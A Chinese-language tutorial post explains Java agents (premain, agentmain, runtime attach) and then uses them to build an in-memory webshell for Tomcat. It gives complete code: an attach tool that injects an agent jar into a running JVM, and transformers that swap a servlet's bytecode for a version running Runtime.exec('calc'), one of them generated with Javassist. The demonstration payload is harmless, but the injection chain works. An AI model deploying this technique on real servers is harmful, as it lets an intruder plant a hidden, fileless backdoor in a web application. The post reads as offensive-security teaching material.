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java agent使用与agent内存马

什么是java agent

本质是一个jar包中的类,有两种实现,第一种是通过permain()函数实现。这种javaagent会在宿主程序的main函数的启动前启动自己premain函数,这时候会得到一个Instrumentation对象,我们可以通过Instrumentation对象对还未加载的class进行拦截与修改。

还有一种实现方式是利用agentmain()函数。VirtualMachine类的attach(pid)方法可以将当前进程attach到一个运行中的java进程上,接着利用loadAgent(agentJarPath)来将含符合格式且含有agentmain函数的jar包注入到对应的进程,调用loadAgent函数后,对应的进程中会多出一个Instrumentation对象,这个对象会被当作agentmain的一个参数。对应进程接着会调用agentmain函数,进而操作Instrumentation对象,Instrumentation对象可以在class加载前拦截字节码进行修改,也可以对已经加载的class重新让它加载,并拦截且修改其中的内容,跟进程注入差不多,具体做什么操作,取决于我们的jar文件中的agentmain函数怎么写。

Java agent的使用方式有两种:

实现premain方法,在JVM启动前加载。

实现agentmain方法,在JVM启动后加载。

agent基础使用

环境搭建

agent项目源码

agent:

package com.naihe;

import java.io.IOException;
import java.lang.instrument.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.ProtectionDomain;

public class agent {
    //java agent 入口
    public static void premain(String agentOps, Instrumentation inst) {
        System.out.println("=========premain方法执行========");
        simpleDemo(agentOps, inst);
    }
    public static void agentmain(String agentOps, Instrumentation inst) {
        System.out.println("=========agentmain方法执行========");
        simpleDemo(agentOps, inst);
        //transform是会对尚未加载的类进行增加代理层,这里是已经运行中的jvm,所以类以及被加载了
        //必须主动调用retransformClasses让jvm再对运行中的类进行加上代理层
        for (Class allLoadedClass : inst.getAllLoadedClasses()) {
            //这里的Test路径,修改成你自己机器agent-demo-web工程的Test类的路径
            if(allLoadedClass.getName().contains("com.naihe.Demo")){
                try {
                    inst.retransformClasses(allLoadedClass);
                } catch (UnmodifiableClassException e) {
                    e.printStackTrace();
                }
            }
        }
    }
    public static void simpleDemo(String agentOps, Instrumentation inst) {
        inst.addTransformer(new ClassFileTransformer() {
            @Override
            public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
                //判断是指定的class
                if ("com/naihe/Demo".equals(className)) {
                    try {
                        //获取更改后的类class 字节数组
                        String path="C:/Users/12107/Desktop/Demo2.class";
                        classfileBuffer = Files.readAllBytes(Paths.get(path));
                    } catch (IOException e) {
                        e.printStackTrace();
                    }
                }
                return classfileBuffer;
            }
        },true);
    }

}

app项目源码

application:

package com.naihe;

public class application {
    public static void main(String[] args) {
        while(true){
            new Demo().Test();
            try {
                Thread.sleep(500);
            }catch (Exception e){}
        }
    }
}

Demo:

package com.naihe;

public class Demo {
    public static void Test() {
        System.out.println("正常运行中.....");
    }
}

attach:

package com.naihe;

import com.sun.tools.attach.*;

import java.io.IOException;
import java.util.List;
import java.util.Scanner;
import java.util.stream.Collectors;

public class attach {
    public static void main(String[] args) {
        //查找所有jvm进程,排除attach测试工程
        List<VirtualMachineDescriptor> attach = VirtualMachine.list()
                .stream()
                .filter(jvm -> {
                    return !jvm.displayName().contains("attach");
                }).collect(Collectors.toList());
        for (int i = 0; i < attach.size(); i++) {
            System.out.println("[" + i + "] " + attach.get(i).displayName()+":"+attach.get(i).id());
        }
        System.out.println("请输入需要attach的pid编号");
        Scanner scanner = new Scanner(System.in);
        String s = scanner.nextLine();
        VirtualMachineDescriptor virtualMachineDescriptor = attach.get(new Integer(s));
        try {
            VirtualMachine virtualMachine = VirtualMachine.attach(virtualMachineDescriptor.id());
            virtualMachine.loadAgent("C:\\Users\\12107\\Desktop\\agent.jar""param");
            virtualMachine.detach();
        } catch (AttachNotSupportedException e) {
            System.out.println("AttachNotSupportedException:" + e.getMessage());
        } catch (IOException e) {
            System.out.println("IOException:" + e.getMessage());
        } catch (AgentLoadException e) {
            System.out.println("AgentLoadException:" + e.getMessage());
        } catch (AgentInitializationException e) {
            System.out.println("AgentInitializationException:" + e.getMessage());
        }
    }
}

retransformClasses:对于已经加载的类重新进行转换处理,即会触发重新加载类定义,需要注意的是,新加载的类不能修改旧有的类声明,譬如不能增加属性、不能修改方法声明

静态修改class

一,将agent打包成jar包

进入classes目录

java agent使用与agent内存马


java agent使用与agent内存马
jar cvf agent.jar com/

这边直接打包得com文件,因为这只是一个小Demo给大家演示一下,并没有使用字节码相关的库

二,修改MANIFEST.MF

使用解压工具打开MANIFEST.MF,并修改内容

Premain-Class: com.naihe.agent
Agent-Class: com.naihe.agent
Can-Redefine-Classes: true
Can-Retransform-Classes: true

三,加载agent.jar

运行app中的application

java agent使用与agent内存马

使用ideal加载jar

java agent使用与agent内存马
-javaagent:C:/Users/12107/Desktop/agent.jar
java agent使用与agent内存马

动态修改class

清除之前的内容

java agent使用与agent内存马

正常运行

java agent使用与agent内存马

运行attach

java agent使用与agent内存马

java agent使用与agent内存马

java agent使用与agent内存马

可以看到Demo的test方法已经被修改了

agent内存马

搭建一个简单的Servlet项目

ServletDemo

package com.naihe;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

public class ServletDemo extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        resp.getWriter().write("123");
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }

}

web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0"
         metadata-complete="false"
>

    <!--注册Servlet-->
    <servlet>
        <servlet-name>demo</servlet-name>
        <servlet-class>com.naihe.ServletDemo</servlet-class>
    </servlet>
    <!--Servlet的请求路径-->
    <servlet-mapping>
        <servlet-name>demo</servlet-name>
        <url-pattern>/demo</url-pattern>
    </servlet-mapping>
</web-app>

agent

package com.naihe;

import java.io.IOException;
import java.lang.instrument.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.ProtectionDomain;

public class agent {
    //java agent 入口
    public static void premain(String agentOps, Instrumentation inst) {
        System.out.println("=========premain方法执行========");
        simpleDemo(agentOps, inst);
    }
    public static void agentmain(String agentOps, Instrumentation inst) {
        System.out.println("=========agentmain方法执行========");
        simpleDemo(agentOps, inst);
        //transform是会对尚未加载的类进行增加代理层,这里是已经运行中的jvm,所以类以及被加载了
        //必须主动调用retransformClasses让jvm再对运行中的类进行加上代理层
        for (Class allLoadedClass : inst.getAllLoadedClasses()) {
            //这里的Test路径,修改成你自己机器agent-demo-web工程的Test类的路径
            if(allLoadedClass.getName().contains("com.naihe.ServletDemo")){
                try {
                    inst.retransformClasses(allLoadedClass);
                } catch (UnmodifiableClassException e) {
                    e.printStackTrace();
                }
            }
        }
    }
    public static void simpleDemo(String agentOps, Instrumentation inst) {
        inst.addTransformer(new ClassFileTransformer() {
            @Override
            public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
                //判断是指定的class
                if ("com/naihe/ServletDemo".equals(className)) {
                    try {
                        //获取更改后的类class 字节数组
                        String path="C:/Users/12107/Desktop/ServletDemo2.class";
                        classfileBuffer = Files.readAllBytes(Paths.get(path));
                    } catch (IOException e) {
                        e.printStackTrace();
                    }
                }
                return classfileBuffer;
            }
        },true);
    }

}

ServletDemo2为ServletDemo被恶意修改后的文件

package com.naihe;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

public class ServletDemo extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        Runtime.getRuntime().exec("calc");
        resp.getWriter().write("success");
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }

}

开启tomcat

java agent使用与agent内存马

运行attch:

java agent使用与agent内存马

以上的利用都是自己写好一个恶意类编译并上传使用,下面就是利用javaassist动态生成class后加载

利用Javaassist

package com.naihe;

import javassist.*;

import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.lang.instrument.*;
import java.lang.reflect.InvocationTargetException;
import java.security.ProtectionDomain;

public class agent {
    //java agent 入口
    public static void premain(String agentOps, Instrumentation inst) {
        System.out.println("=========premain方法执行========");
        simpleDemo(agentOps, inst);
    }
    public static void agentmain(String agentOps, Instrumentation inst) {
        System.out.println("=========agentmain方法执行========");
        simpleDemo(agentOps, inst);
        //transform是会对尚未加载的类进行增加代理层,这里是已经运行中的jvm,所以类以及被加载了
        //必须主动调用retransformClasses让jvm再对运行中的类进行加上代理层
        for (Class allLoadedClass : inst.getAllLoadedClasses()) {
            //这里的Test路径,修改成你自己机器agent-demo-web工程的Test类的路径
            if(allLoadedClass.getName().contains("com.naihe.ServletDemo")){
                try {
                    inst.retransformClasses(allLoadedClass);
                } catch (UnmodifiableClassException e) {
                    e.printStackTrace();
                }
            }
        }
    }
    public static void simpleDemo(String agentOps, Instrumentation inst) {
        inst.addTransformer(new ClassFileTransformer() {
            @Override
            public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
                //判断是指定的class
                if ("com/naihe/ServletDemo".equals(className)) {
                    try {
                        classfileBuffer = JavaassistDemo();
                    } catch (IOException | CannotCompileException | NotFoundException | IllegalAccessException | InstantiationException | NoSuchMethodException | InvocationTargetException e) {
                        e.printStackTrace();
                    }
                }
                return classfileBuffer;
            }
        },true);
    }

    public static byte[] JavaassistDemo() throws CannotCompileException, IOException, NotFoundException, IllegalAccessException, InstantiationException, NoSuchMethodException, InvocationTargetException {
        ClassPool pool = ClassPool.getDefault();
        pool.importPackage("javax.servlet.http.HttpServlet");
        pool.importPackage("java.io.IOException");
        // 1. 创建一个空类
        CtClass cc = pool.makeClass("com.naihe.ServletDemo");
        // 2.添加父类
        cc.setSuperclass(pool.get("javax.servlet.http.HttpServlet"));
        // 3. 添加无参的构造函数
        CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);
        cons.setBody("{}");
        cc.addConstructor(cons);

        // 4.创建doGet方法
        CtMethod ctMethod = new CtMethod(CtClass.voidType, "doGet"new CtClass[]{pool.get("javax.servlet.http.HttpServletRequest"),pool.get("javax.servlet.http.HttpServletResponse")}, cc);
        ctMethod.setModifiers(Modifier.PROTECTED);
        ctMethod.setBody("        try {\n" +
                "            Runtime.getRuntime().exec(\"calc\");\n" +
                "        } catch (IOException var4) {\n" +
                "            var4.printStackTrace();\n" +
                "        }");
        cc.addMethod(ctMethod);

        // 4.创建doPost方法
        CtMethod ctMethod2 = new CtMethod(CtClass.voidType, "doPost"new CtClass[]{pool.get("javax.servlet.http.HttpServletRequest"),pool.get("javax.servlet.http.HttpServletResponse")}, cc);
        ctMethod2.setModifiers(Modifier.PROTECTED);
        ctMethod2.setBody("        try {\n" +
                "            Runtime.getRuntime().exec(\"calc\");\n" +
                "        } catch (IOException var4) {\n" +
                "            var4.printStackTrace();\n" +
                "        }");
        cc.addMethod(ctMethod2);
        return cc.toBytecode();
    }

}

由于利用了第三方jar包因此想要导出所有项目,不能再像前面那样只导出自己写的代码了,步骤如下

java agent使用与agent内存马

在这里我将使用javaassist的agent命名为agent2

java agent使用与agent内存马

java agent使用与agent内存马

java agent使用与agent内存马

打包好的jar就在如下位置

java agent使用与agent内存马

java agent使用与agent内存马

修改MANIFEST.MF 老样子在前面添加

Premain-Class: com.naihe.agent
Agent-Class: com.naihe.agent
Can-Redefine-Classes: true
Can-Retransform-Classes: true

java agent使用与agent内存马

访问demo

java agent使用与agent内存马

运行attach

java agent使用与agent内存马

java agent使用与agent内存马


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